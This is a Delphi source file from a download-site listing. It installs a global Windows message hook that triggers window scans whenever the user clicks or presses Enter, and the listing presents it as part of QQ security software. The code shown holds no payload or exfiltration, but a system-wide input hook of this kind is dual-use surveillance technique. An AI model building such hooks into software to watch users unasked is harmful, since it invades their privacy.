⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 loghook.pas

📁 DEILPHI写的QQ安全软件源码!功能全套,该有的全有了,欢迎交流
💻 PAS
字号:
unit  LogHook;

interface

procedure LogHookOn();
procedure LogHookOff();

implementation

uses
  Windows, Messages, Timer, ExtInfo, FunUnit, VarUnit,ScanWin;

var
  hLogHook: LongWord = 0;

  // 消息钩子回调函数
function LogHookPro(iCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
var
  Pt: TPoint;
begin
  if (iCode = HC_ACTION) then    // and(IsIE= TRUE)or(IsMIE = TRUE)
  begin
    if (PMsg(lParam).message = WM_LBUTTONDOWN) then
    //   (PMsg(lParam).message = WM_RBUTTONDOWN) then
    begin
     ScanWindR();
    end else
    begin
      if (PMsg(lParam).message = WM_KEYDOWN) and
         (PMsg(lParam).wParam = 13) then
    ScanWindK();
    end;
  end;
  Result := CallNextHookEx(hLogHook, iCode, wParam, lParam);
end;

  // 安装钩子
procedure LogHookOn();
begin
  hLogHook := SetWindowsHookEx(WH_GETMESSAGE, @LogHookPro, HInstance, 0);
end;

  // 删除钩子
procedure LogHookOff();
begin
  UnHookWindowsHookEx(hLogHook);
end;
end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -